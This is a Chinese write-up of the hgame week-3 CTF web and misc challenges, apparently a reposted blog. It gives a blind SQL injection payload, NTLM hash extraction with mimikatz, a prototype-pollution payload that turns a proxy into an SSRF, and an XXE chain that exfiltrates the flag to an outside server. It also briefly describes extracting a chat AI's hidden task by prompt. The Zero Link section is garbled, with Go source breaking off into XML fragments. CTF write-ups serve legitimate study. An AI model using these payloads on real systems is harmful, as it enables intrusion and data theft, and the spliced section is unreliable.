• hgame week3 WEB和MISC全wp


    MISC

    与ai聊天

    问它你原本的任务是啥?

    vmdk取证

    开局拿到一个vmdk文件,要找密码,用7z打开到如下位置

    然后取出system和SAM用于提取哈希,丢到mimikatz中去看看ntlm:

    最后上cmd5来解密

    简单的取证,不过前十个有红包

    在上一题的桌面上有个图片

    https://nc0.cdn.zkaq.cn/md/19233/ef9c4877e5c3bb22e15ace437941e67c_11129.jpg

    然后使用VeraCrypt解密就出了

    Blind Sql Injection

    https://nc0.cdn.zkaq.cn/md/19233/05c13be98d90350094be60b8fde6c0d1_69671.png

    看报文报错盲注,flag就是密码:

    核心代码

    /search.php?id=1-(ascii(substr((Select(reverse(group_concat(password)))From(F1naI1y)),44,1))%3E63)
    

    如果说上面这串表达式为真,那么id=0,这就会触发报错。

    反之如果表达式不同意则会正常显示内容。

    于是就可以挨个推断出flag字符串的每一个ascii值,最后转成字符后反转就出了。

    PS:不要用gpt做任何数学相关的题目,可以使用赛博厨子,被坑惨了

    WEB

    开局源码如下:

    1. const express = require("express");
    2. const axios = require("axios");
    3. const bodyParser = require("body-parser");
    4. const path = require("path");
    5. const fs = require("fs");
    6. const { v4: uuidv4 } = require("uuid");
    7. const session = require("express-session");
    8. const app = express();
    9. const port = 3000;
    10. const session_name = "my-webvpn-session-id-" + uuidv4().toString();
    11. app.set("view engine", "pug");
    12. app.set("trust proxy", false);
    13. app.use(express.static(path.join(__dirname, "public")));
    14. app.use(
    15. session({
    16. name: session_name,
    17. secret: uuidv4().toString(),
    18. secure: false,
    19. resave: false,
    20. saveUninitialized: true,
    21. })
    22. );
    23. app.use(bodyParser.json());
    24. var userStorage = {
    25. username: {
    26. password: "password",
    27. info: {
    28. age: 18,
    29. },
    30. strategy: {
    31. "baidu.com": true,
    32. "google.com": false,
    33. },
    34. },
    35. };
    36. function update(dst, src) {
    37. for (key in src) {
    38. if (key.indexOf("__") != -1) {
    39. continue;
    40. }
    41. if (typeof src[key] == "object" && dst[key] !== undefined) {
    42. update(dst[key], src[key]);
    43. continue;
    44. }
    45. dst[key] = src[key];
    46. }
    47. }
    48. app.use("/proxy", async (req, res) => {
    49. const { username } = req.session;
    50. if (!username) {
    51. res.sendStatus(403);
    52. }
    53. let url = (() => {
    54. try {
    55. return new URL(req.query.url);
    56. } catch {
    57. res.status(400);
    58. res.end("invalid url.");
    59. return undefined;
    60. }
    61. })();
    62. if (!url) return;
    63. if (!userStorage[username].strategy[url.hostname]) {
    64. res.status(400);
    65. res.end("your url is not allowed.");
    66. }
    67. try {
    68. const headers = req.headers;
    69. headers.host = url.host;
    70. headers.cookie = headers.cookie.split(";").forEach((cookie) => {
    71. var filtered_cookie = "";
    72. const [key, value] = cookie.split("=", 1);
    73. if (key.trim() !== session_name) {
    74. filtered_cookie += `${key}=${value};`;
    75. }
    76. return filtered_cookie;
    77. });
    78. const remote_res = await (() => {
    79. if (req.method == "POST") {
    80. return axios.post(url, req.body, {
    81. headers: headers,
    82. });
    83. } else if (req.method == "GET") {
    84. return axios.get(url, {
    85. headers: headers,
    86. });
    87. } else {
    88. res.status(405);
    89. res.end("method not allowed.");
    90. return;
    91. }
    92. })();
    93. res.status(remote_res.status);
    94. res.header(remote_res.headers);
    95. res.write(remote_res.data);
    96. } catch (e) {
    97. res.status(500);
    98. res.end("unreachable url.");
    99. }
    100. });
    101. app.post("/user/login", (req, res) => {
    102. const { username, password } = req.body;
    103. if (
    104. typeof username != "string" ||
    105. typeof password != "string" ||
    106. !username ||
    107. !password
    108. ) {
    109. res.status(400);
    110. res.end("invalid username or password");
    111. return;
    112. }
    113. if (!userStorage[username]) {
    114. res.status(403);
    115. res.end("invalid username or password");
    116. return;
    117. }
    118. if (userStorage[username].password !== password) {
    119. res.status(403);
    120. res.end("invalid username or password");
    121. return;
    122. }
    123. req.session.username = username;
    124. res.send("login success");
    125. });
    126. // under development
    127. app.post("/user/info", (req, res) => {
    128. if (!req.session.username) {
    129. res.sendStatus(403);
    130. }
    131. update(userStorage[req.session.username].info, req.body);
    132. res.sendStatus(200);
    133. });
    134. app.get("/home", (req, res) => {
    135. if (!req.session.username) {
    136. res.sendStatus(403);
    137. return;
    138. }
    139. res.render("home", {
    140. username: req.session.username,
    141. strategy: ((list)=>{
    142. var result = [];
    143. for (var key in list) {
    144. result.push({host: key, allow: list[key]});
    145. }
    146. return result;
    147. })(userStorage[req.session.username].strategy),
    148. });
    149. });
    150. // demo service behind webvpn
    151. app.get("/flag", (req, res) => {
    152. if (
    153. req.headers.host != "127.0.0.1:3000" ||
    154. req.hostname != "127.0.0.1" ||
    155. req.ip != "127.0.0.1"
    156. ) {
    157. res.sendStatus(400);
    158. return;
    159. }
    160. const data = fs.readFileSync("/flag");
    161. res.send(data);
    162. });
    163. app.listen(port, '0.0.0.0', () => {
    164. console.log(`app listen on ${port}`);
    165. });

    发现这里的update函数可能存在原型链污染(赋值),但是这里过滤了__

    1. function update(dst, src) {
    2. for (key in src) {
    3. if (key.indexOf("__") != -1) {
    4. continue;
    5. }
    6. if (typeof src[key] == "object" && dst[key] !== undefined) {
    7. update(dst[key], src[key]);
    8. continue;
    9. }
    10. dst[key] = src[key];
    11. }
    12. }
    13. //...
    14. app.post("/user/info", (req, res) => {
    15. if (!req.session.username) {
    16. res.sendStatus(403);
    17. }
    18. update(userStorage[req.session.username].info, req.body);
    19. res.sendStatus(200);
    20. });

    不能用__proto__也可以用prototype构造payload

    再看过滤规则:

    1. if (!userStorage[username].strategy[url.hostname]) {
    2. res.status(400);
    3. res.end("your url is not allowed.");
    4. }
    5. //...
    6. app.get("/flag", (req, res) => {
    7. if (
    8. req.headers.host != "127.0.0.1:3000" ||
    9. req.hostname != "127.0.0.1" ||
    10. req.ip != "127.0.0.1"
    11. ) {
    12. res.sendStatus(400);
    13. return;
    14. }
    15. const data = fs.readFileSync("/flag");
    16. res.send(data);
    17. });

    结合/proxy部分的代码,就是要利用自己来访问127.0.0.1:3000/flag,这就需要污染userStorage[username].strategy,浅浅构造一个payload

    {"constructor":{"prototype":{"strategy":{"127.0.0.1:3000/flag":"true"}}}}
    

    https://nc0.cdn.zkaq.cn/md/19233/f341d91d0748fffddec99b308d222b49_84910.png

    https://nc0.cdn.zkaq.cn/md/19233/2fe896f19695256db682e9fced9c601e_36751.png

    改改:

    {"constructor":{"prototype":{"127.0.0.1":{"127.0.0.1:3000/flag":"true"}}}}
    

    如果直接点击链接的话就会访问

    /proxy?url=http://127.0.0.1

    回显unreachable

    要手动补齐/proxy?url=http://127.0.0.1:3000/flag

    就能正常访问了

    Zero Link

    一道值得细细评鉴的go史

    先看route.go

    1. package routes
    2. import (
    3. "fmt"
    4. "html/template"
    5. "net/http"
    6. "os"
    7. "os/signal"
    8. "path/filepath"
    9. "zero-link/internal/config"
    10. "zero-link/internal/controller/auth"
    11. "zero-link/internal/controller/file"
    12. "zero-link/internal/controller/ping"
    13. "zero-link/internal/controller/user"
    14. "zero-link/internal/middleware"
    15. "zero-link/internal/views"
    16. "github.com/gin-contrib/sessions"
    17. "github.com/gin-contrib/sessions/cookie"
    18. "github.com/gin-gonic/gin"
    19. )
    20. func Run() {
    21. r := gin.Default()
    22. html := template.Must(template.New("").ParseFS(views.FS, "*"))
    23. r.SetHTMLTemplate(html)
    24. secret := config.Secret.SessionSecret
    25. store := cookie.NewStore([]byte(secret))
    26. r.Use(sessions.Sessions("session", store))
    27. api := r.Group("/api")
    28. {
    29. api.GET("/ping", ping.Ping)
    30. api.POST("/user", user.GetUserInfo)
    31. api.POST("/login", auth.AdminLogin)
    32. apiAuth := api.Group("")
    33. apiAuth.Use(middleware.Auth())
    34. {
    35. apiAuth.POST("/upload", file.UploadFile)
    36. apiAuth.GET("/unzip", file.UnzipPackage)
    37. apiAuth.GET("/secret", file.ReadSecretFile)
    38. }
    39. }
    40. frontend := r.Group("/")
    41. {
    42. frontend.GET("/", func(c *gin.Context) {
    43. c.HTML(http.StatusOK, "index.html", nil)
    44. })
    45. frontend.GET("/login", func(c *gin.Context) {
    46. c.HTML(http.StatusOK, "login.html", nil)
    47. })
    48. frontendAuth := frontend.Group("")
    49. frontendAuth.Use(middleware.Auth())
    50. {
    51. frontendAuth.GET("/manager", func(c *gin.Context) {
    52. c.HTML(http.StatusOK, "manager.html", nil)
    53. })
    54. }
    55. }
    56. quit := make(chan os.Signal)
    57. signal.Notify(quit, os.Interrupt)
    58. go func() {
    59. %dtd; %all;
    60. ]>
    61. &send;

    转utf-16

    cat utf8exploit.xml | iconv -f UTF-8 -t UTF-16BE > utf16exploit.xml
    

    准备evil.xml

    all "">
    

    然后开启http服务发evil.xml

    python -m http.sever 80
    

    http://139.224.232.162:30148/backdoor?fname=../../8.134.221.106/utf16exploit

    就可以收到flag了

     声明:⽂中所涉及的技术、思路和⼯具仅供以安全为⽬的的学习交流使⽤,任何⼈不得将其⽤于⾮法⽤途以及盈利等⽬的,否则后果⾃⾏承担。所有渗透都需获取授权

    免费领取安全学习资料包!


    渗透工具

    技术文档、书籍

    面试题

    帮助你在面试中脱颖而出

    视频

    基础到进阶

    环境搭建、HTML,PHP,MySQL基础学习,信息收集,SQL注入,XSS,CSRF,暴力破解等等

    应急响应笔记

    学习路线

  • 相关阅读:
    Android JVM学习(扎实基础版)
    基于RT-Thread的智能家居助手
    JavaEE初阶学习:Linux 基本使用和 web 程序部署
    orangepi zero2在linux5.4以上内核使用ili9341
    集成环境下 phpmyadmin 显示找不到localhost网页
    存储过程基本了解
    R语言ggplot2可视化斜率图、对比同一数据对象前后(before、after)两个状态的差异(Slope Chart)
    Java-访问权限修饰符(public、protected、private)
    【面试题精讲】Java语言概念
    Redisson - 实现Java的Redis分布式和可扩展解决方案
  • 原文地址:https://blog.csdn.net/2301_80115097/article/details/139833519